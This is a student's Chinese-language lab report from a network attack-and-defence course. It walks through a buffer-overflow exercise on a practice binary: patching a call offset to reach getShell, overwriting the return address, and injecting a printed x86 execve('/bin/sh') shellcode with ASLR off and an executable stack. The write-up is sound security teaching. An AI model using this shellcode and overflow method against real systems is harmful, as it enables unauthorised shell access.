20232426 2025-2026-1 《网络与系统攻防技术》实验一实验报告
20232426 2025-2026-1 《网络与系统攻防技术》实验一实验报告
一、实验目标(内容)
- 掌握缓冲区溢出的基本原理。
- 理解栈的工作方式和返回地址覆盖。
- 学会编写和注入Shellcode,并在Linux下调试。
- 熟悉gdb、objdump等调试与分析工具。
二、实验知识点回顾(本周学习的内容)
1.Linux操作
- 文件与目录操作(cd、ls 、cp等)。
- 权限控制与命令提升(chmod、sudo)。
- 输入输出重定向与管道使用。
2.缓冲区溢出
- 核心原理:栈从高地址向低地址生长,数组越界会覆盖栈上的内容,
- 返回地址覆盖:用输入数据覆盖EIP,实现跳转到目标函数或Shellcode。
- 栈帧理解:函数调用时压栈、局部变量布局、返回地址存储。
3.汇编基础与工具
- call、mov等常见指令。
- EIP指令指针作用与修改方法。
- objdump反汇编查看程序逻辑。
- gdb调试:断点设置、寄存器查看、栈内存分析。
4.Shellcode相关
- 编写/获取Shellcode。
- 堆栈可执行设置(execstack还有patchelf)。
-地址随机化关闭(ASLR),保证地址可预测。
三、实验步骤与心得
任务一:修改可执行文件直接跳转函数
-
下载pwn1,传到Kali虚拟机。
-
修改主机名
sudo hostnamectl set-hostname liujiacheng再重启sudo reboot:
![image]()
-
反汇编文件
objdump -d pwn20232426 | more,找出call指令跳转地址。
![93ccdab6b470004ef9ebde8068999bc4]()
在main函数中,第四行的机器码"e8 d7ffffff"对应汇编指令"call 8048491",表示调用foo函数(8048491为其首地址)。
其中"e8"是操作码,作用于EIP(指令指针寄存器),后续的"d7ffffff"是偏移量。
执行原理:
1. 执行call指令时,EIP已指向下一行地址80484ba
2. 先将该EIP值压栈(用于foo执行完后恢复程序流程)
3. 计算目标地址:EIP(80484ba) + 偏移量(补码运算),得到foo函数地址
若要改为调用getShell(地址804847d),需重新计算偏移量:
804847d - 80484ba = 补码c3ffffff
因此,将机器码"e8 d7ffffff"改为"e8 c3ffffff",即可实现调用getShell函数。
4. 备份文件并修改:
-
用vi切换16进制模式:
:%!xxd
![0a9b3a61e038516bf0fabb0433bd3717]()
-
找到call指令的机器码,修改为目标偏移
![63ae7e1bad2aacf23e7bc1e2ce91ddc0]()
-
转回原格式保存:
:%!xxd -r
![image]()
- 运行pwn20232426ljc
./pwn20232426ljc:
![4f70a3a1f2589224cb0189fb11b6ba0e]()
成功看到Shell提示符,任务完成。
任务二:利用BOF漏洞覆盖返回地址
- 反汇编foo函数,确认缓冲区大小(56字节)。
- 确定哪些输入字符会覆盖RET:
- 用gdb测试
1111111122222222333333334444444455555555
![b742af29fc27b5f3f9e66293bf9ff552]()
- EIP显示覆盖字符,确认覆盖位置。
![71a0f513e32a3f5e520058c540c8fe28]()
- 小端存储顺序验证:
- 输入
11111111222222223333333344444444\x7d\x84\x04\x08,观察EIP → 倒序覆盖返回地址。
![7590e539353a0cd4d05b0a672afcf013]()
- 构造攻击输入文件
8*1 8*2 8*3 8*4 \x7d\x84\x04\x08 ... \x0a
(含回车\x0a)并执行:
![23ff5ca40216e6baaedbca7becfa2780]()
成功弹出Shell,任务完成。
任务三:注入Shellcode
- 设置堆栈可执行:
![d7195ed0fb04dd44e4bd524f1000b478]()
- 准备一段Shellcode Payload,注入运行。
![image]()
这是一个典型的 Linux x86 Shellcode,用于执行 /bin/sh:\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
这是豆包告诉我的:
31 c0 清空 eax 寄存器
50 压入 NULL
68 2f2f7368 压入字符串“//sh”
68 2f62696e 压入字符串“/bin”
89 e3 把栈顶地址放到 ebx
50 53 89 e1 设置参数
99 b0 0b cd 80 执行系统调用 execve("/bin/sh")
这段 Shellcode 总长度为 25 字节左右。
-
查看进程号,在另一个终端中输入:
ps -ef | grep pwn20232426ljc4
输出结果中可以看到目标程序的 PID:
![image]()
-
附加到进程调试,设置断点,查看注入的内存
![image]()
-
确认 RET 覆盖跳转
在继续运行前,修改栈中返回地址为 Shellcode 的地址,然后输入 continue 或 c 继续执行。
![image]()
-
Shellcode 执行结果
程序返回后,控制流跳转至注入的 Shellcode 区域;
Shellcode 执行成功,命令行中会出现 新的 Shell 提示符;
![image]()
Shellcode 注入成功,程序已成功执行恶意 Payload,并在目标进程中获得命令行控制。
四、实验中遇到的问题与解决方法
| 问题 | 解决方法 |
|---|---|
有些操作必须 sudo(例如写 /proc、安装包、修改系统设置),直接使用 sudo echo ... > file 会因重定向权限导致失败。 |
使用能提升整个命令行权限的方式,例如:sudo sh -c 'echo 0 > /proc/sys/kernel/randomize_va_space';安装包使用 sudo dpkg -i <file.deb>;或用管道+tee:`echo "..." |
不熟悉在 vi 中进行十六进制编辑与基本操作(模式切换、搜索、保存等),导致在二进制文件内难以定位与修改字节。 |
在 vi 中编辑二进制的推荐流程:打开文件 vi pwn1 → 按 Esc → :%!xxd(切到 hex 视图)→ /e8 d7 搜索 → i 进入插入修改 → Esc → :%!xxd -r(恢复二进制)→ :wq 保存退出。修改前请 cp pwn1 pwn1.bak 备份。 |
在十六进制视图中查找机器码失败(如直接搜索 e8d7 无结果),因为字节之间有空格或格式差异。 |
在十六进制视图按字节格式搜索:在 vi 十六进制模式用 /e8 d7;或在 shell 用 `xxd pwn1 |
execstack 无法获取或安装(导致无法方便设置可执行栈),已尝试用 patchelf 替代但不确定正确性。 |
先检查 ELF GNU_STACK 标志:`readelf -l pwn1 |
无法 gdb attach 到目标进程:运行 payload 后进程立即退出,找不到长期存在的 PID。 |
让目标进程保持等待以便 attach:`(cat input_shellcode; cat) |
五、学习体会
隔了挺久终于重新上手Linux,这次实验对我来说,既是对Linux各类操作的全面回顾,也把数据结构和网络攻防的知识串联整合到了一起。
我挺喜欢这种实验模式——能把不同领域的内容打通,还能在查询过程中get到很多细碎的新知识。对我这种体系化知识掌握得不够全面的人来说,这种方式特别友好:从零散的知识点产生兴趣,再慢慢把新旧知识串联成网,整个过程特别有成就感,真的很棒。
















浙公网安备 33010602011771号